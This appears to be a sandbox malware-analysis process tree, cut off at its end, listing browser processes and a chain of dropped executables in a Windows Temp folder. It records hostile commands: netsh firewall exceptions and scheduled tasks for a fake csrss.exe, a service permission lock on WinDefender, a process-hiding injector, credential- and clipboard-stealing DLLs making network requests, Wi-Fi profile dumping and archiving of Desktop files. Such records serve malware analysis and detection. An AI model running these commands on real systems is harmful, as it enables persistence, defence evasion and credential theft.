"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5284 /prefetch:1
4⤵
PID:7012

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6812 /prefetch:1
4⤵
PID:6180

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6852 /prefetch:1
4⤵
PID:6204

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6500 /prefetch:1
4⤵
PID:6884

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7084 /prefetch:1
4⤵
PID:6916

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7068 /prefetch:1
4⤵
PID:2524

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6860 /prefetch:1
4⤵
PID:432

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4236 /prefetch:1
4⤵
PID:6908

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8360 /prefetch:8
4⤵
PID:6644

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7760 /prefetch:1
4⤵
PID:7132

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8360 /prefetch:8
4⤵
PID:4484

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8228 /prefetch:1
4⤵
PID:2740

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6740 /prefetch:1
4⤵
PID:3420

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=7944 /prefetch:8
4⤵
PID:636

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7376 /prefetch:1
4⤵
PID:6648

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login/
3⤵
PID:1480

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa8ae346f8,0x7ffa8ae34708,0x7ffa8ae34718
4⤵
PID:4664

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1448,9913512047870832973,3838695598998025909,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 /prefetch:3
4⤵
PID:5324

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login
3⤵
PID:5508

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa8ae346f8,0x7ffa8ae34708,0x7ffa8ae34718
4⤵
PID:5592

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform/
3⤵
PID:5368

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xc4,0x108,0x7ffa8ae346f8,0x7ffa8ae34708,0x7ffa8ae34718
4⤵
PID:5436

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login
3⤵
PID:5768

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ffa8ae346f8,0x7ffa8ae34708,0x7ffa8ae34718
4⤵
PID:3312

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin
3⤵
PID:5688

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa8ae346f8,0x7ffa8ae34708,0x7ffa8ae34718
4⤵
PID:5816

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/
3⤵
PID:5228

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa8ae346f8,0x7ffa8ae34708,0x7ffa8ae34718
4⤵
PID:5620

C:\Users\Admin\AppData\Local\Temp\FD6D.exe
C:\Users\Admin\AppData\Local\Temp\FD6D.exe
2⤵
- Executes dropped EXE
PID:3444

C:\Users\Admin\AppData\Local\Temp\FEA6.exe
C:\Users\Admin\AppData\Local\Temp\FEA6.exe
2⤵
- Executes dropped EXE
PID:4808

C:\Users\Admin\AppData\Local\Temp\273E.exe
C:\Users\Admin\AppData\Local\Temp\273E.exe
2⤵
PID:6396

C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe
"C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"
3⤵
- Executes dropped EXE
PID:7020

C:\Users\Admin\AppData\Local\Temp\Broom.exe
C:\Users\Admin\AppData\Local\Temp\Broom.exe
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4944

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:7144

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:6748

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
3⤵
- Executes dropped EXE
PID:3516

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
PID:6756

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
4⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:6444

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
- Modifies data under HKEY_USERS
PID:6280

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
5⤵
PID:1600

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
6⤵
- Modifies Windows Firewall
PID:6976

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
PID:7132

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
PID:4748

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
5⤵
PID:3140

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
6⤵
PID:6180

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
6⤵
- DcRat
- Creates scheduled task(s)
PID:6176

C:\Windows\SYSTEM32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
6⤵
PID:2460

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
6⤵
PID:6940

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
6⤵
PID:6624

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
6⤵
PID:4676

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
6⤵
- DcRat
- Creates scheduled task(s)
PID:1980

C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
6⤵
PID:6620

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
7⤵
PID:5540

C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
8⤵
- Launches sc.exe
PID:5572

C:\Users\Admin\AppData\Local\Temp\kos4.exe
"C:\Users\Admin\AppData\Local\Temp\kos4.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5352

C:\Users\Admin\AppData\Local\Temp\latestX.exe
"C:\Users\Admin\AppData\Local\Temp\latestX.exe"
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
PID:6824

C:\Users\Admin\AppData\Local\Temp\2AF8.exe
C:\Users\Admin\AppData\Local\Temp\2AF8.exe
2⤵
- Executes dropped EXE
PID:6488

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2AF8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
3⤵
- Executes dropped EXE
PID:6396

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa8ae346f8,0x7ffa8ae34708,0x7ffa8ae34718
4⤵
PID:7120

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2AF8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
3⤵
PID:5924

C:\Users\Admin\AppData\Local\Temp\2CDD.exe
C:\Users\Admin\AppData\Local\Temp\2CDD.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:6672

C:\Users\Admin\AppData\Local\Temp\2ED2.exe
C:\Users\Admin\AppData\Local\Temp\2ED2.exe
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:6752

C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe
"C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
PID:2856

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe" /F
4⤵
- DcRat
- Creates scheduled task(s)
PID:7104

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "Utsysc.exe" /P "Admin:N"&&CACLS "Utsysc.exe" /P "Admin:R" /E&&echo Y|CACLS "..\e8b5234212" /P "Admin:N"&&CACLS "..\e8b5234212" /P "Admin:R" /E&&Exit
4⤵
PID:7156

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:6900

C:\Windows\SysWOW64\cacls.exe
CACLS "Utsysc.exe" /P "Admin:N"
5⤵
PID:5612

C:\Windows\SysWOW64\cacls.exe
CACLS "Utsysc.exe" /P "Admin:R" /E
5⤵
PID:2100

C:\Windows\SysWOW64\cacls.exe
CACLS "..\e8b5234212" /P "Admin:N"
5⤵
PID:6684

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:7080

C:\Windows\SysWOW64\cacls.exe
CACLS "..\e8b5234212" /P "Admin:R" /E
5⤵
PID:6236

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main
4⤵
PID:6456

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main
5⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:6636

C:\Windows\system32\netsh.exe
netsh wlan show profiles
6⤵
PID:2308

C:\Windows\system32\tar.exe
tar.exe -cf "C:\Users\Admin\AppData\Local\Temp\771604342093_Desktop.tar" "C:\Users\Admin\AppData\Local\Temp\_Files_\*.*"
6⤵
PID:904

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\clip64.dll, Main
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:5932

C:\Users\Admin\AppData\Local\Temp\B4EC.exe
C:\Users\Admin\AppData\Local\Temp\B4EC.exe
2⤵
PID:5204

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
3⤵
PID:2896

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
4⤵
PID:4420

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa8ae346f8,0x7ffa8ae34708,0x7ffa8ae34718
5⤵
PID:7148

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2172,7748139643960988048,3495767843471212457,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 /prefetch:3
5⤵
PID:2808

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2172,7748139643960988048,3495767843471212457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2848 /prefetch:8
5⤵
PID:6932

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,7748139643960988048,3495767843471212457,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:1
5⤵
- Executes dropped EXE
PID:5204

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,7748139643960988048,3495767843471212457,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:1
5⤵
PID:6452

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2172,7748139643960988048,3495767843471212457,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2184 /prefetch:2
5⤵
PID:3956

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,7748139643960988048,3495767843471212457,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4724 /prefetch:1
5⤵
PID:3164

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,7748139643960988048,3495767843471212457,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4932 /prefetch:1
5⤵
PID:5112

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2172,7748139643960988048,3495767843471212457,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5048 /prefetch:8
5⤵
PID:7056

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2172,7748139643960988048,3495767843471212457,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5048 /prefetch:8
5⤵
PID:1104

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,7748139643960988048,3495767843471212457,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2972 /prefetch:1
5⤵
PID:6808

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,7748139643960988048,3495767843471212457,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4608 /prefetch:1
5⤵
PID:4620

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
